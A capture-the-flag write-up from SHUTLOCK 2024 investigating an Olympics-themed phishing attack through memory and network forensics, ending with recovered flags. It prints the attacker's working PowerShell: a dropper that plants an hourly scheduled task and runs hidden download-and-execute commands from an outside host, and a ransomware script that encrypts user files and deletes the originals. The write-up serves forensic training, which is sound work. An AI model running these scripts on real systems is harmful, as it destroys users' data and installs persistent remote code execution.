SHUTLOCK2024 - Enquête sur le phishing des JO - Retracer Lattaque 1 et 2

Enquête sur le phishing des JO - Retracer l’attaque 1

Mike O’Soft a été averti d’une campagne de phishing par le groupe THE HAMOR. Une des personnes ayant reçu le mail de phishing en question, s’est faite piegée.

Vous avez pour mission de mener l’enquête. Heureusement pour vous, les équipes du ministère ont réalisé un dump mémoire sur la machine. Dans la suite de votre enquête, un dump réseau vous sera confié.

Sauriez-vous retracer ce qu’il s’est passé sur ce poste ?

Pour résoudre ce challenge, vous devez répondre aux questions suivantes :

1 - Quel est le nom du raccourci malveillant ?

2 - Quel est le nom de la scheduled task créé ?

3 - Quel script est lancé par cette scheduled task ?

Format du flag SHLK{’nom-fichier’-‘scheduled task-‘script’}

Exemple 1 - File : ctf\shutlock.test

2 - scheduled task : ScheduleTaskName

3 - script : ThisIsTheScript.sh

SHLK{shutlock.test-ScheduleTaskName-ThisIsTheScript.sh}

SHA256(Phishing1.zip) = 3C6DA179B87FA2DC0ACB988466428679FD6AF0905F004A56E8A968A83009E16D : 2606053117 octets

SHA256(dump.raw) = 757D150394158D68F33D25A46EF45D6874FE046A40DA7E97C3C0D33DF21EB7E1 : 7121928192 octets

https://challenges.shutlock.fr/Phishing1.zip

After we unzip it, we can see a png file, with some important details :

  • Microsoft edge is the PDF Reader
  • A potential malicious PDF is loaded
  • A txt file is opened and says that we have been hacked

recon

First, start with the recon phase

bash

strings dump.raw | grep -e ".ps1$" | uniq -u

In the output, we can see some file names that could be interesting

bash

Content-Disposition: attachment; filename=Encrypt.ps1
Content-Disposition: attachment; filename=Enigma.ps1
http://172.21.195.17:5000/Holmes/Encrypt.ps1
/Holmes/Enigma.ps1
http://172.21.195.17:5000/Holmes/Enigma.ps1
Content-Disposition: attachment; filename=Enigma.ps1

With that, we can go further in our investigation. We know that the files have been encrypted. Let’s see Encrypt.ps1

bash

strings dump.raw | grep "filename=Encrypt.ps1" -A 70

powershell

# Define the directories to search for files
$IP_addr = '172.21.195.17:5000'
$directories = @("$env:USERPROFILE")
# Define the file extensions to encrypt
$extensions = @(".png", ".doc", ".txt", ".zip")
$keyUrl = "http://$IP_addr/Holmes/key.txt"
# Download the key from the URL
$keyContent = Invoke-WebRequest -Uri $keyUrl | Select-Object -ExpandProperty Content
$keyContent = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($keyContent))
# Use SHA-256 hash function to produce a 32-byte key
$sha256 = [System.Security.Cryptography.SHA256]::Create()
$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))
$iv = [System.Security.Cryptography.RijndaelManaged]::Create().IV
# Sauvegarder l'IV dans un fichier
$ivFilePath = "$env:USERPROFILE\Documents\.iv"
[System.IO.File]::WriteAllBytes($ivFilePath, $iv)
# Create a new RijndaelManaged object with the specified key
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
# Go through each directory
foreach ($dir in $directories) {
    # Go through each file
    Get-ChildItem -Path $dir -Recurse | ForEach-Object {
        # Check the file extension
        if ($extensions -contains $_.Extension) {
            # Generate the new file name
            $newName = $_.FullName -replace $_.Extension, ".shutlock"
            # Read the file contents
            $content = Get-Content $_.FullName -Raw
            # Convert the content to bytes
            $contentBytes = [System.Text.Encoding]::UTF8.GetBytes($content)
            # Create a new encryptor
            $encryptor = $rijndael.CreateEncryptor()
            # Encrypt the content
            $encryptedBytes = $encryptor.TransformFinalBlock($contentBytes, 0, $contentBytes.Length)
            # Write the encrypted content to a file
            [System.IO.File]::WriteAllBytes($newName, $encryptedBytes)
            # Delete the original file
            Remove-Item $_.FullName
        }
    }

We have now reconstructed the Encrypt.ps1, but that’s not what we exactly want. We need to find the script that is run in the scheduled task

We have others script names, let’s check on it :

bash

strings dump.raw | grep -i "Enigma.ps1" -A 30

powershell

$IP_addr = '172.21.195.17:5000'
$urlFakeJob = "http://$IP_addr/Holmes/Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf"
$urlTask = "http://$IP_addr/Holmes/GetFileInfo.ps1"
$fakePlaceOffer = 'Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf'
$TaskFile = 'GetFilesInfo.ps1'
#Get the lure pdf
Invoke-WebRequest -Uri $urlFakeJob -OutFile $fakePlaceOffer
# Open the PDF file with the default PDF viewer
Start-Process -FilePath $fakePlaceOffer
### Schedule task
$taskName = "IGotYourFileInfo"
# Create the scheduled task that get some file information
$cmd = "Invoke-WebRequest -Uri $urlTask -OutFile $TaskFile ; Start-Process -FilePath $TaskFile"
schtasks /create /tn $taskName /sc HOURLY /tr $cmd
#Encrypt some file
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile  -c "& {IEX ((New-Object Net.WebClient).DownloadString('http://$IP_addr/Holmes/Encrypt.ps1'))}"
## Change wallpaper
$webClient = New-Object System.Net.WebClient
$wallpaperUrl = "http://$IP_addr/Holmes/w

Now we see! We have our task name : IGotYourFileInfo and the script that the scheduled task run : GetFilesInfo.ps1

The shortcut file in Windows is represented by a .lnk file. Let’s check on it with volatility3 and the filescan plugin

bash

/opt/volatility3/vol.py -f dump.raw windows.filescan > filescan.txt

bash

cat filescan.txt | grep ".lnk"

We have two results :

bash

0xa70451a45a80	\Users\clara\Downloads\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024\Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk	216

0xa7045384fe90	\Users\clara\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\File Explorer.lnk	216

The good one is the pdf that was loaded in the web Browser

Conclusion

In a first time, our victim downloaded the Enigma.ps1 which downloaded GetFileInfo.ps1 and run it as a scheduled task. Enigma.ps1 also executed Encrypt.ps1 after downloaded it and changed the wallpaper. A notepad with a text message inside was opened to tell the victim they have been hacked.

The flag :

bash

SHLK{Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf.lnk-IGotYourFileInfo-GetFilesInfo.ps1}

Enquête sur le phishing des JO - Retracer l’attaque 2

Bravo !

Vous voici dans la deuxième partie de votre enquête. Le dump réseau vous a été confié avec une partie de son système de fichiers.

L’utilisatrice à qui appartiennent ces informations, est une scientifique qui travaille sur le chiffrement du système d’information des JO.

Aidez-la à déchiffrer son système de fichiers.

SHA256(Phishing2-1.zip) = EDE0509D4779093EEBDA4B2483B943721F7B1F54801BFEFFF11E39B719D224BE : 202407885 octets SHA256(Capture.pcapng) = 6D1F223BCC377E1722F8DAE0FB9F2EE397878B87ACA53814D4628562CBF1B933 : 167172844 octets

recon

This is the following challenges, we already have some knowledge about it. Let’s check the Wireshark Capture

Paquets 115711

What we notice :

TCP HTTP -> 294 packets - JPEG file - Data Data -> Interesting

UDP DNS -> 104 packets

Weird things that reminds me of the first challenges :

GET /Holmes/Enigma.ps1 HTTP/1.1\r\n

GET /Holmes/Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf HTTP/1.1\r\n

We have mutiples files :

  • Enigma.ps1
  • Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.pdf
  • key.txt
  • wallpaper.jpg

Let’s check them

All good

That’s a pretty nice catch! let’s extract them in a Windows VM :p

Base64 ? Maybe the key to decrypt the files

The same wallpaper as we’ve seen in the last challenge

We already have those .ps1 scripts

Just a regular file

So now we have seen all the files, we can see in the Downloads directory a file with an “SHUTLOCK” extension : (Tirage_au_sort_pour_gagner_des_places_aux_Jeux_Olympiques_de_Paris_2024.shutlock)

Let’s try to understand the Encrypt.ps1 code

powershell

$IP_addr = '172.21.195.17:5000'

#takes only the user directory
$directories = @("$env:USERPROFILE")

# encrypt just the files with those extensions
$extensions = @(".png", ".doc", ".txt", ".zip")

# the key to decrypt and encrypt (using AES -- we'll see later)
$keyUrl = "http://$IP_addr/Holmes/key.txt"


# fetches the content of the key from the specified URL.
$keyContent64 = Invoke-WebRequest -Uri $keyUrl | Select-Object -ExpandProperty Content

# the content is then decoded from Base64 to get the actual key.
$keyContent = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($keyContent64))



# SHA256 hash is created from the decoded key content to produce a 32-byte key.
$sha256 = [System.Security.Cryptography.SHA256]::Create()

# initialization Vector (IV) is generated using the RijndaelManaged class.
$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))

$iv = [System.Security.Cryptography.RijndaelManaged]::Create().IV

# The IV is saved to a file for later use
$ivFilePath = "$env:USERPROFILE\Documents\iv"


[System.IO.File]::WriteAllBytes($ivFilePath, $iv)

# Setting Up the Rijndael Managed Object :
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
$rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
$rijndael.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

# The RijndaelManaged object is configured with the key, IV, CBC mode, and PKCS7 padding.

# Encrypting files : 

foreach ($dir in $directories) {
    Get-ChildItem -Path $dir -Recurse | ForEach-Object {
        if ($extensions -contains $_.Extension) {
            $newName = $_.FullName -replace $_.Extension, ".shutlock"
            $contentBytes = [System.IO.File]::ReadAllBytes($_.FullName)
            $encryptor = $rijndael.CreateEncryptor()
            $encryptedBytes = $encryptor.TransformFinalBlock($contentBytes, 0, $contentBytes.Length)
            [System.IO.File]::WriteAllBytes($newName, $encryptedBytes)
            Remove-Item $_.FullName
        }
    }
}
# iterates over each directory and recursively finds files with the specified extensions

# Each file is read, encrypted, and saved with a new extension ".shutlock".


# The original file is then deleted.

The program only encrypts files that have “.png”, “.doc”, “.txt”, “.zip” Document folder.

There’s a lot of encrypted files… but there’s also the IV file !!!

A bunch of binary, that will suits

powershell

$keyContent = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($keyBase64))

# Hash the key content using SHA-256
$sha256 = [System.Security.Cryptography.SHA256]::Create()

$key = $sha256.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($keyContent))

# Read the IV from the file
$iv = [System.IO.File]::ReadAllBytes($ivFilePath)

# Create the RijndaelManaged object with the specified key and IV
$rijndael = New-Object System.Security.Cryptography.RijndaelManaged
$rijndael.Key = $key
$rijndael.IV = $iv
$rijndael.Mode = [System.Security.Cryptography.CipherMode]::CBC
$rijndael.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7

# Function to decrypt a file
function Decrypt-File {
    param (
        [string]$encryptedFilePath,
        [string]$decryptedFilePath
    )
    # Read the encrypted file contents
    $encryptedBytes = [System.IO.File]::ReadAllBytes($encryptedFilePath)

    # Create a decryptor
    $decryptor = $rijndael.CreateDecryptor()
    # Decrypt the content
    $decryptedBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length) 

    # Write the decrypted content to a file
    [System.IO.File]::WriteAllBytes($decryptedFilePath, $decryptedBytes)
}

  

# Find and decrypt all ".shutlock" files
Get-ChildItem -Path $documentsDirectory -Recurse -Filter *.shutlock | ForEach-Object {
    $encryptedFilePath = $_.FullName
    $decryptedFilePath = $encryptedFilePath -replace ".shutlock", ".decrypted"
    Write-Output "Decrypting file: $encryptedFilePath"
    Decrypt-File -encryptedFilePath $encryptedFilePath -decryptedFilePath $decryptedFilePath
    Write-Output "Decryption completed for file: $decryptedFilePath"
}

Okok but the file that i’m interessed is the importante_recherche.decrypted which is a zip file ! But AES encrypted, so no plain-text attack.

bash

file *

importante_recherche.decrypted.zip: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted

I also tried this in vain :

bash

zip2john importante_recherche.decrypted.zip > hash.txt

From now, I didn’t know where to go. I tried so many things in order to recover the zip password. Here’s some of my adventure :

All these files are pretty weird. In the challenge, we’ve been said that our victim works on cryptography, so from now I imagined so many things, like :

Take all the weird char between File- and .pdf or .decrypted in order recover some key, but nothing happened. I tried in base64, decoded, etc etc

Note that the .decrypted files have been encrypted so they were candidate with their initial extension

In Autopsy, we could see sooooooooooo many things, and the madness took the full control on me. Here’s a few artifacts that i found during my investigation

In Autopsy, we can see that there was a malware folder, and many things linked to this directory such as FakeNet which is a malware analyst software. We can see shortcut files etc…

We can see all the web research, sur as cryptology courses, random pdf search,

Many Bing research, I followed every single link in order to recover something

La Sorbonne cryptography course

issued by :

Here’s some of the web searches :

https://www3.weforum.org/docs/WEF_Getting_Started_Cryptocurrency_2021.pdf

https://www.bing.com/search?q=jo%20filetype.pdf&form=SWAUA2

https://stillmed.olympic.org/media/Document%20Library/OlympicOrg/Documents/Document-Set-Teachers-The-Main-Olympic-Topics/Les-Jeux-Olympiques-modernes.pdf

https://www.bing.com/search?q=ownload+jeux+olympique+filetype%3Apdf+place&qs=n&form=QBRE&sp=-1&lq=0&pq=ownload+jeux+olympique+filetype%3Apdf+plac&sc=0-40&sk=&cvid=120E5DEE77B64460BCB2CEFE367124AA&ghsh=0&ghacc=0&ghpl=

https://www.bing.com/ck/a?!&&p=6b96f5a016139752JmltdHM9MTcxNTQ3MjAwMCZpZ3VpZD0zMGJiYzFlNC1lN2JlLTZmMGMtMTExNi1kNTk5ZTZmOTZlNTQmaW5zaWQ9NTIyMQ&ptn=3&ver=2&hsh=3&fclid=30bbc1e4-e7be-6f0c-1116-d599e6f96e54&psq=ownload+jeux+olympique+filetype%3apdf+place&u=a1aHR0cHM6Ly93d3cuc3BvcnRzLmdvdXYuZnIvbWVkaWEvODYxMy9kb3dubG9hZA&ntb=1

https://www.bing.com/ck/a?!&&p=2606e7d577131082JmltdHM9MTcxNTQ3MjAwMCZpZ3VpZD0zMGJiYzFlNC1lN2JlLTZmMGMtMTExNi1kNTk5ZTZmOTZlNTQmaW5zaWQ9NTM0Nw&ptn=3&ver=2&hsh=3&fclid=30bbc1e4-e7be-6f0c-1116-d599e6f96e54&psq=ownload+jeux+olympique+filetype%3apdf&u=a1aHR0cHM6Ly93d3cuc3BvcnRzLmdvdXYuZnIvbWVkaWEvODMyMi9kb3dubG9hZA&ntb=1

https://thetestdata.com/generatedata.php

Strange files

The way that all the pdf files and the encrypted files have been generated

Here’s mine :

Some garbages that I found related to malware analysis

The word “malwareanalysis” and “deangilmor” were recurrents

Some flow diagram

Python installer ? The name was censored but I already know who’s behind

And from now I became totally crazy the madness fullfiled my mind.

Here’s the saviour grep :

bash

grep -Ril "importante recherche"

AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.sqlite-wal

OMG that’s a file that I’ve seen in Autopsy, but i didn’t care at this time. This is a Sticky-note (Post-it in french). Let’s check if she didn’t wrote something in it

bash

strings AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe/LocalState/plum.sqlite-wal | grep -i "importante recherche"

[...]
\id=1f0391ce-61cd-4649-af89-3814161c7556 pwd importante recherche: s3cr3t_r3ch3rch3_pwd_!ManagedPosi
[...]

OMG it might be our solution………

bash

7z e importante_recherche.decrypted.zip 

password: s3cr3t_r3ch3rch3_pwd_!

Files: 2
Size:       3847608
Compressed: 3838943

The pdf is not valuable :/

chiffrement.jpeg

I don’t want to do anything about steganography, I already suffered a lot solving this challenge so let’s try stegseek, which brute-force the password for steghide

bash

wget https://github.com/RickdeJager/stegseek/releases/download/v0.6/stegseek_0.6-1.deb

sudo apt install ./stegseek_0.6-1.deb 

bash

stegseek chiffrement.jpeg


[i] Found passphrase: ""
[i] Original filename: "flag.txt".
[i] Extracting to "chiffrement.jpeg.out".

And there was no passphrase….

bash

cat chiffrement.jpeg.out

SHLK{4uri3z-v0us_cl1qu3r}